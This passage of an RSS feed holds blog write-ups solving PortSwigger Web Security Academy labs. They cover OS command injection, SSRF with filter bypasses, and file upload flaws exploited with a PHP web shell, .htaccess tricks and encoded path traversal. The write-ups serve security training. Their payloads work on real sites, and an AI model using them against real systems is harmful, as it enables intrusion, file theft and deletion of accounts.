#</p><ul><li>p<strong>roductId=1+|whoami+ %23&amp;storeId=</strong></li></ul><p>Now thelab is solved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*URK6HFZJAQly7DgjdPzCOA.png" /></figure><p><strong>After successfully exploiting the OS command injection vulnerability and obtaining the current user’s name, we further explored the server to gather more information. This involved reading a script file located in the user’s directory.</strong></p><p><strong>Steps</strong><br><strong>1-Get the Path:</strong></p><ul><li>Initially, the command injection revealed the user’s home directory path.</li></ul><p><strong>2-Read the Script File:</strong></p><ul><li>Using the path obtained, we executed a command to read a file named stockreport.sh within the directory. We encoded the # character to comment out any parameters after our command.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qDceSMWStgU16yl3T-NwTg.png" /></figure><p><strong>3-Execute the Command:</strong></p><ul><li>The command used was:</li></ul><pre>productId=1+|cat+/home/peter-kgMtoP/stockreport.sh %23&amp;storeId=1</pre><ul><li>This command concatenates cat with the path to reading its contents.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mz3UPTcx63qDsptA-Ft0fg.png" /></figure><p><strong>4-Analyze the Output:</strong></p><ul><li>The server’s response displayed the contents of the file, revealing its purpose and functionality.</li></ul><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong><em>2- Blind OS Command Injection with Time Delays</em></strong><br><br>This lab contains a blind OS command injection vulnerability in the feedback function.The application executes a shell command containing the user-supplied details. The output from the command is not returned in the response.To solve the lab, exploit the blind OS command injection vulnerability to cause a 10 second delay.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*CPVqwnnDUA6pBuLFecZGGg.png" /></figure><p><strong>Steps to Exploit</strong><br><strong>1-Set Up Burp Suite:</strong></p><ul><li>Launch Burp Suite and configure it to intercept your browser’s traffic.</li><li>Open the lab’s web application and navigate to the feedback form.</li></ul><p><strong>2-Intercept the Request:</strong></p><ul><li>Submit the feedback form with arbitrary data.</li><li>Intercept the request in Burp Suite.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GFlw8lRtJLPFqQJMmPuq_w.png" /></figure><p><strong>3-Identify the Vulnerable Parameter:</strong></p><ul><li>Examine the intercepted request, which includes a CSRF token and other parameters</li></ul><pre>csrf=CNz63OAKkSSoDJhOCfeAyacdj4vbMUsV&amp;name=asd&amp;email=asd%40gmail.com&amp;subject=asd&amp;message=asd<br></pre><ul><li>To test for vulnerability, modify each parameter by appending the command</li></ul><pre>+|sleep+10 %23</pre><ul><li>For example, to test the email parameter, change it to</li></ul><pre>email=asd%40gmail.com+|sleep+10 %23</pre><p><strong>4-Encode Special Characters:</strong></p><ul><li>Encode # as %23 to ensure proper execution.</li></ul><p><strong>5-Send the Modified Request:</strong></p><ul><li>Forward the modified request to the server.</li><li>Observe a 10-second delay in the response, indicating the parameter is vulnerable.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*NNuERlAYU1vffw21tZCq4w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*solFEsWa2MCI3VHhJMqDYg.png" /></figure><p><strong>Payload Explanation</strong></p><ul><li>+|sleep+10 %23 appends a sleep command to induce a 10-second delay.</li><li>| is used to chain commands.</li><li>%23 is the URL-encoded representation of #, used to comment out the rest of the line.</li></ul><p>Now the lab is solved</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*nEUTxpURYwUVOA9YUrg_jQ.png" /></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong><em>3- Blind OS Command Injection with Output Redirection</em></strong></p><p>In this lab, we explore a blind OS command injection vulnerability present in the feedback function of an application. Despite not receiving direct output from the executed command, we exploit output redirection to capture the command’s output. By leveraging a writable folder (/var/www/images/) and manipulating the image loading URL, we demonstrate how to retrieve the output of a command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*C_5x84HvASCH6qbdmS3Xeg.png" /></figure><p><strong>Steps:</strong></p><p><strong>1-Identifying the Vulnerability:</strong></p><ul><li>We recognize a blind OS command injection vulnerability within the feedback function of the application.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GFlw8lRtJLPFqQJMmPuq_w.png" /></figure><p><strong>2-Exploiting Output Redirection:</strong></p><ul><li>By injecting commands into the email parameter of the feedback form, we redirect the output to a file in the writable folder (/var/www/images/).</li></ul><p>3<strong>-Intercepting and Modifying Requests with Burp Suite:</strong></p><ul><li>Using Burp Suite, we intercept and modify the request submitting feedback. We alter the email parameter to include the command injection payload.</li></ul><p>4<strong>-Retrieving Output:</strong></p><ul><li>We load any image of a product from the application and modify the filename parameter to access the file containing the command output (seven.txt).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*7tXrm5h8uAZqQWt1bk2V-Q.png" /></figure><ul><li>In th image url which is:</li></ul><pre>[**https://0ada003204f3d8af800ea86b00f60096.web-security-academy.net/image?filename=30.jpg**](https://0ada003204f3d8af800ea86b00f60096.web-security-academy.net/image?filename=30.jpg)</pre><ul><li>Remove the file name which is <strong>30.png</strong> and put your file path which you created while uplaoding the query now the main url is</li></ul><pre>→ https://0ada003204f3d8af800ea86b00f60096.web-security-academy.net/image?filename=seven.txt</pre><p>5<strong>-Observing Results:</strong></p><ul><li>The response contains the output of the injected command, confirming successful exploitation.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*CwuU59qGwSe_YMhWPXkIbQ.png" /></figure><p>Now the lab is solved</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*TKB79FGOXAEUharaCuKhvQ.png" /></figure><p>This write-up is finished here. <strong>Stay tuned for the next one!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=246d79b6225a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Server-Side Request Forgery (SSRF)]]></title>
            <link>https://ahmadnazir19470.medium.com/server-side-request-forgery-ssrf-68a50e6ffe70?source=rss-a2cfab60e6c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/68a50e6ffe70</guid>
            <dc:creator><![CDATA[Ahmed Nazeer]]></dc:creator>
            <pubDate>Sun, 02 Jun 2024 06:53:56 GMT</pubDate>
            <atom:updated>2024-06-07T13:48:30.350Z</atom:updated>
            <content:encoded><![CDATA[<p>Server-side request forgery is a web security vulnerability that allows an attacker to cause the server-side application to make requests to an unintended location.</p><p>In a typical SSRF attack, the attacker might cause the server to connect to internal-only services within the organization’s infrastructure. In other cases, they may be able to force the server to connect to arbitrary external systems. This could leak sensitive data, such as authorization credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*ILyugDZVAi3DSo2w9akYLQ.png" /></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong><em>1- Lab Write-up: Basic SSRF against the Local Server</em></strong></p><p>In this lab, we exploited a Server-Side Request Forgery (SSRF) vulnerability to access and interact with an internal admin interface, ultimately deleting a specific user. Here’s a concise step-by-step guide on how to achieve this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IFHjLRtXFg3lUeISWx7_1w.png" /></figure><p><strong>Step-by-Step Guide</strong></p><p><strong>1-Initial Exploration:</strong></p><ul><li>Begin by navigating to the /admin page directly in your browser. You will observe that direct access is restricted.</li></ul><p><strong>2-Intercepting the Stock Check Request:</strong></p><ul><li>Navigate to any product page on the website and click on the “Check stock” button.</li><li>Use Burp Suite to intercept this request. Send the intercepted request to Burp Repeater for further manipulation.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DPotl1mZPN1WiyOLd_vg_g.png" /></figure><p><strong>3-Modifying the stockApi Parameter:</strong></p><ul><li>In Burp Repeater, locate the stockApi parameter in the intercepted request.</li><li>Change the URL in this parameter to <a href="http://localhost/admin">http://localhost/admin</a>. This step aims to bypass the restriction by using the internal server’s perspective.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GbiUchyJhUvrgH3OpP1H2g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sCQhiQ18iEXPd4I5EuAJMw.png" /></figure><p><strong>4-Accessing the Admin Interface:</strong></p><ul><li>Send the modified request. The response should contain the HTML of the admin interface.</li><li>Carefully examine the HTML to find the endpoint for deleting a user. It will typically look like: <a href="http://localhost/admin/delete?username=carlos">http://localhost/admin/delete?username=carlos</a>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q2ZO-1jkyKzmPh_maddEVA.png" /></figure><p><strong>5-Executing the SSRF Attack:</strong></p><ul><li>Modify the stockApi parameter again, this time setting its value to <a href="http://localhost/admin/delete?username=carlos">http://localhost/admin/delete?username=carlos</a>.</li><li>Send this request to delete the user carlos.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FCz0W2NelasxX5o8edonJA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L6dGzSlNUGHyeOaYupASGw.png" /></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong><em>2-Lab: Basic SSRF against another back-end system</em></strong></p><p>This lab has a stock check feature that fetches data from an internal system. To solve the lab, use the stock check functionality to scan the internal 192.168.0.X range for an admin interface on port 8080, then use it to delete the user carlos.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*VCsRqRstp1gt-3YZ5R3MoA.png" /></figure><p><strong>Steps to Exploit</strong></p><p><strong>1-Log In</strong></p><ul><li>First, log in to your account using the provided credentials:</li><li>Username: wiener</li><li>Password: peter</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*TPuZqu449X_CES-CqDmzxA.png" /></figure><p><strong>2-Navigate to the Stock Check Page</strong></p><ul><li>Go to the Home page of the application.</li><li>Click on View Details to view any stock listed.</li><li>Click on Check Stock.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hNVcWHjAzPTBTyF92kSe6g.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ouqo8h85NpJPkZy2OiiYyQ.jpeg" /></figure><p><strong>3-Capture the Stock Check Request</strong></p><ul><li>Open Burp Suite and ensure the Proxy is intercepting requests.</li><li>Perform the Check Stock action on the web application.</li><li>In Burp Suite, locate the captured request related to the stock check in the HTTP history.</li><li>Send this request to Repeater for further analysis.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3HQ7JYdw5JgQBP8eDNpbbQ.jpeg" /></figure><p><strong>4-Decode the Encoded Stock API Key</strong></p><ul><li>In the Repeater tab, identify the encoded stockApi parameter within the request.</li><li>Use Burp Suite’s Decoder tool to decode the stockApi value.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZUQgYVfxoS1VyFvilnt58A.jpeg" /></figure><p><strong>5-Set Up Intruder for Attack</strong></p><ul><li>Send the decoded request to Intruder.</li><li>In Intruder, select the position of the IP address 192.168.0.1.</li><li>Add a payload marker around the IP address by changing it to 192.168.0.1$Add$.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TLpwBNc_o0xzPcKYCiPABA.jpeg" /></figure><p><strong>6-Configure Payload and Start Attack</strong></p><ul><li>Go to the Payloads tab in Intruder.</li><li>Set the payload type and add values for the attack.</li><li>Start the attack and monitor for responses.</li></ul><p><strong>7-Identify a Successful Response</strong></p><ul><li>Look for a 200 OK response in the results of the Intruder attack.</li><li>Once a 200 OK response is identified, send that particular request to Repeater.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qhl62beDZbDiHR1qNI-XAg.jpeg" /></figure><p><strong>8-Complete the Lab</strong></p><ul><li>Verify that the manipulated request in Repeater has solved the lab.</li><li>Confirm the successful completion of the lab by checking the provided success criteria.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qr95CA47UY5uZcSc21H0GQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FKBkGc33W11wW9NzWvtDPw.jpeg" /></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong><em>3- Lab: SSRF with blacklist-based input filter</em></strong></p><p>In this guide, we’ll explore how to bypass Server-Side Request Forgery (SSRF) defenses using a blacklist-based input filter in a web application’s stock check feature.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*-rChahVo9_wUECo4Kn9qYA.png" /></figure><p><strong>Steps to Exploit</strong></p><p><strong>1-Intercept the Request</strong></p><ul><li>Navigate to a product page and click “Check stock.” Capture the request in Burp Suite and send it to Burp Repeater.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GTuA5PXQ66ika4sUfXMUgQ.png" /></figure><p><strong>2-Test the SSRF Protection</strong></p><ul><li>Change the stockApi parameter in the request to <a href="http://127.0.0.1/">http://127.0.0.1/</a> and notice it gets blocked.</li></ul><p><strong>3-Bypass the IP Blacklist</strong></p><ul><li>Modify the IP address to 127.1, which is an equivalent but less obvious format:</li></ul><pre>stockApi=http://127.1/</pre><ul><li>This avoids the initial blacklist rule.</li></ul><p><strong>4-Access the Admin Interface</strong></p><ul><li>Attempt to access the admin interface with:</li></ul><pre>stockApi=http://127.1/admin</pre><ul><li>This request is blocked.</li></ul><p><strong>5-Obfuscate the URL</strong><br>Double URL encode the letter “a” in “admin” to%25%36%31:</p><pre>stockApi=http://127.1/%25%36%31dmin</pre><ul><li>This bypasses the filter.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gNOh-VqAkDxtP6bnTCAoFw.png" /></figure><p><strong>6-Delete the User</strong></p><ul><li>Access the delete endpoint for the user carlos:</li></ul><pre>stockApi=http://127.1/%25%36%31dmi/delete?username=carlos</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*bw4r4WT2kLDXE1erZHFBdA.png" /></figure><ul><li>Send this request to delete the user.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*_GYfdy2H9nRh1hryflHjoQ.png" /></figure><p>This write-up is finished here. <strong>Stay tuned for the next one!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=68a50e6ffe70" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[File upload vulnerabilities]]></title>
            <link>https://ahmadnazir19470.medium.com/file-upload-vulnerabilities-5457fe3b037c?source=rss-a2cfab60e6c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/5457fe3b037c</guid>
            <dc:creator><![CDATA[Ahmed Nazeer]]></dc:creator>
            <pubDate>Sat, 01 Jun 2024 06:29:19 GMT</pubDate>
            <atom:updated>2024-06-07T13:47:45.263Z</atom:updated>
            <content:encoded><![CDATA[<p>This section teaches how simple file upload functions can be a powerful vector for several high-severity attacks. We’ll show you how to bypass common defense mechanisms to upload a web shell, enabling you to control a vulnerable web server fully. Given how common file upload functions are, knowing how to test them properly is essential knowledge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*mkL-4aUbV8-pITHM9_NSvw.png" /></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong><em>1- Remote Code Execution via Web Shell Upload</em></strong><br>In this lab, we’ll exploit a vulnerable image upload function to perform remote code execution, ultimately exfiltrating sensitive data from the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*dxcbtDWy_HbUbS_878nWNA.png" /></figure><p><strong>1-Log into Your Account</strong></p><ul><li>Navigate to the login page.</li><li>Use the credentials: wiener: peter.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*TPuZqu449X_CES-CqDmzxA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zAzt0XirNdOz8nFChdA7WQ.png" /></figure><p><strong>2-Locate the Avatar Upload Function</strong></p><ul><li>Once logged in, find the option to upload an avatar image on your account page.</li><li>Upload any arbitrary image to see how the application handles it.</li></ul><p><strong>3-Set Up Burp Suite</strong></p><ul><li>Ensure your browser is proxying traffic through Burp Suite.</li><li>Go to Proxy &gt; HTTP history in Burp.</li></ul><p><strong>4-Filter and Identify the Image Request</strong></p><ul><li>Click on the filter bar in HTTP history.</li><li>Enable the Images checkbox under Filter by MIME type and apply changes.</li><li>Locate the GET request in the history.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FoukJ-nWrABQApIwkAkWXw.png" /></figure><p><strong>5-Create the Malicious PHP Script</strong></p><ul><li>On your local system, create a file named file_script.php.</li><li>Include the following code to fetch the contents of Carlos’s secret file:</li></ul><pre>&lt;?php system($_GET[&#39;cmd&#39;]); ?&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eCG4iikaFqIiqhlYwPVJ_g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DiUr2JVhdzmTyzDH35K38g.png" /></figure><p><strong>6-Upload the Malicious PHP File</strong></p><ul><li>Use the avatar upload function to upload file_script.php.</li><li>Confirm the upload via the response message indicating successful upload.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NgskIZUI0DQDmzZ3UHrusg.png" /></figure><p><strong>7-Modify the GET Request</strong></p><ul><li>In Burp, send the initial image fetch request to Repeater.</li><li>Modify the request path to point to your PHP file by using this command</li></ul><p><strong>-&gt; ?cmd=cat /home/carlos/secret</strong></p><pre>https://0ae800570368cb7480c3d0da006d0022.web-security-academy.net/files/avatars/file_script.php?cmd=cat /home/carlos/secret</pre><p><strong>8-Send the Request and Retrieve the Secret</strong></p><ul><li>Send the modified request.</li><li>The server executes your script and returns the contents of /home/carlos/secret.</li></ul><p><strong>9-Submit the Secret</strong></p><ul><li>Extract the secret from the response and submit it using the provided button in the lab banner to complete the lab.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NvVRtYgMJ7tUmP-UTPQ7bQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dCJvedv5p8osG-xPJb-7IQ.png" /></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong><em>2- Web Shell Upload via Content-Type Restriction Bypass</em></strong><br><br>This write-up demonstrates a method to exploit a vulnerable image upload function by bypassing MIME type restrictions and uploading a PHP web shell. The goal is to exfiltrate the contents of a specific file (/home/carlos/secret) on the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*7IVZSp34Ux6dVSYn0b605A.png" /></figure><p><strong>Steps to Exploit</strong><br><strong>1-Login to the Application:</strong></p><ul><li>Use the provided credentials to log in:</li><li>Username: wiener</li><li>Password: peter</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*TPuZqu449X_CES-CqDmzxA.png" /></figure><p><strong>2-Upload an Image:</strong></p><ul><li>Navigate to the avatar upload functionality in your account settings.</li><li>Upload any image to observe the upload process.</li><li>In Burp Suite, go to Proxy &gt; HTTP history and locate the GET request fetching your uploaded image.</li><li>Send this GET request to Burp Repeater for later use.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FoukJ-nWrABQApIwkAkWXw.png" /></figure><p><strong>3-Create the Malicious PHP Script</strong></p><ul><li>On your local system, create a file named file_script.php.</li><li>Include the following code to fetch the contents of Carlos’s secret file:</li></ul><pre>&lt;?php system($_GET[&#39;cmd&#39;]); ?&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eCG4iikaFqIiqhlYwPVJ_g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DiUr2JVhdzmTyzDH35K38g.png" /></figure><p><strong>4-Attempt to Upload the PHP Script:</strong></p><ul><li>Try uploading file_script.php as your avatar. Notice the server restricts the upload to MIME types image/jpeg and image/png.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*15A51-ynIb3IKoT6D3fAww.png" /></figure><p><strong>5-Modify the Upload Request:</strong></p><ul><li>In Burp Suite, locate the POST /my-account/avatar request in HTTP history.</li><li>Send this request to Burp Repeater.</li><li>In the Repeater tab, modify the Content-Type header in the request&#39;s body related to your file upload from application/x-php (or similar) to image/jpeg.</li><li>Send the modified request and observe a successful upload response.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*caEe5RNCpyHJ07-5l3Xt5g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t5oC-E1eXL1OdZphBDiJLg.png" /></figure><p><strong>6-Execute the Web Shell:</strong></p><ul><li>Switch to the Repeater tab containing the GET request to /files/avatars/&lt;YOUR-IMAGE&gt;.</li><li>Replace the image filename in the path with file-script.php.</li><li>Send the request and observe the response containing the secret from /home/carlos/secret.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*onQZz1rxF0qjUrViiYJtug.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6uG4rm4v2E9m-QAu4TbL5g.png" /></figure><p><strong>7-Submit the Secret:</strong></p><ul><li>Copy the secret from the response.</li><li>Submit the secret using the provided button in the lab interface to solve the lab.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gCPoiRb6o07hnPLElr1v0A.png" /></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong><em>3- Lab Write-Up: Web Shell Upload via Path Traversal</em></strong><br><br>In this lab, we explore exploiting an image upload function with a path traversal vulnerability. The goal is to upload a PHP web shell, leverage the vulnerability to execute it and retrieve the contents of the file /home/carlos/secret.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*Byn7Gh29ivZhqiI2hRp3QA.png" /></figure><p><strong>Steps to Exploit the Vulnerability</strong></p><p>Repeat the same steps as we repeat in the last 2 labs.</p><p><strong>1-Login to the Application</strong></p><p><strong>2-Upload an Image</strong></p><p><strong>3-Create the Malicious PHP Script</strong></p><p><strong>4-Attempt to Upload the PHP Script</strong></p><p><strong>5-Modify the GET Request</strong></p><p><strong>6-Send the Request and Retrieve the Secret</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*udH5XDY1-Gtmd6EkP4tpeA.png" /></figure><p><strong>7-Attempt Path Traversal:</strong></p><ul><li>In Burp, locate the POST request to /my-account/avatar used to upload the avatar.</li><li>Modify the Content-Disposition header in the request body to include a path traversal sequence:</li></ul><pre>Content-Disposition: form-data; name=&quot;avatar&quot;; filename=&quot;../file_script.php&quot;</pre><ul><li>Send this request. The server response indicates that the file avatars/file_script.php has been uploaded, meaning the path traversal sequence was stripped.</li></ul><p><strong>8-Bypass Restriction with URL Encoding:</strong></p><ul><li>Encode the forward-slash (/) in the filename to obfuscate the path traversal:</li></ul><pre>filename=&quot;..%2ffile_script.php&quot;</pre><ul><li>Send the modified request. The server response now shows that the file avatars/../file_script.php has been uploaded, indicating that the filename was URL decoded by the server.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OBTpHeYGjUmP1lEJINo2rQ.png" /></figure><p><strong>9-Retrieve and Submit the Secret:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ow7bvPTizl6RjGtBtMnncg.png" /></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong><em>4-Web Shell Upload via Extension Blacklist Bypass</em></strong></p><p>In this lab, we exploit a vulnerable image upload function to bypass extension blacklisting and upload a PHP web shell. This allows us to exfiltrate sensitive data from the server. Below is a step-by-step guide to achieving this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*IXipNbtfTarziJjj0eRe7Q.png" /></figure><p><strong>Step 1: Log In</strong><br>We logged into the application using the provided credentials:</p><ul><li>Username: wiener</li><li>Password: peter</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*TPuZqu449X_CES-CqDmzxA.png" /></figure><p><strong>Step 2: Analyze Image Upload</strong></p><ul><li>We uploaded an image as our avatar and navigated to our account page.</li><li>Using Burp Suite, we intercepted the GET request that fetched our image from /files/avatars/&lt;YOUR-IMAGE&gt; and sent this request to Burp Repeater for further analysis.</li></ul><p><strong>Step 3: Crafting the PHP Web Shell</strong></p><ul><li>We created a PHP file named payload.php with the following content to read the secret file:</li></ul><pre>&lt;?php system($_GET[&#39;cmd&#39;]); ?&gt;</pre><p><strong>Step 4: Bypass the Blacklist</strong></p><ul><li>When attempting to upload exploit.php, we found that the .php extension was blocked. To bypass this restriction, we utilized a <strong>.htaccess</strong> file to map a custom extension to the<strong> PHP MIME</strong> type.</li><li>Intercept the POST request to upload the avatar.</li><li>Modify the filename parameter to .htaccess.</li><li>Change the Content-Type to text/plain.</li><li>Replace the file contents with the following directive:</li></ul><pre>AddType application/x-httpd-php .name</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hpg7mQKt6EboZ0u1XkEC6g.png" /></figure><p>This configuration tells the server to treat <strong>.name</strong> files as PHP scripts.</p><p><strong>Step 5: Upload the Web Shell</strong></p><ul><li>After successfully uploading the <strong>.htaccess</strong> file, we went back to the original upload request and:</li><li>Changed the filename from <strong>exploit.php</strong> to <strong>payload.name</strong>.</li><li>Sent the request and verified the file was uploaded successfully.</li></ul><p><strong>Step 6: Execute the Web Shell</strong></p><ul><li>In Burp Repeater, we modified the GET request path to fetch our <strong>payload.name</strong> file instead of the image:</li></ul><pre>payload.name?cmd=cat+/home/carlos/secret</pre><ul><li>This executed our PHP code, and the server returned the contents of /home/carlos/secret.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kcYWwwIRXgGc7jaqYT_byA.png" /></figure><p><strong>Step 7: Submit the Secret</strong><br>Finally, we retrieved the secret and submitted it to solve the lab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TgIqSLs6bTVhNBOHyvcQyw.png" /></figure><p>Now, the lab is solved.</p><p>This write-up is finished here. <strong>Stay tuned for the next one!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5457fe3b037c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>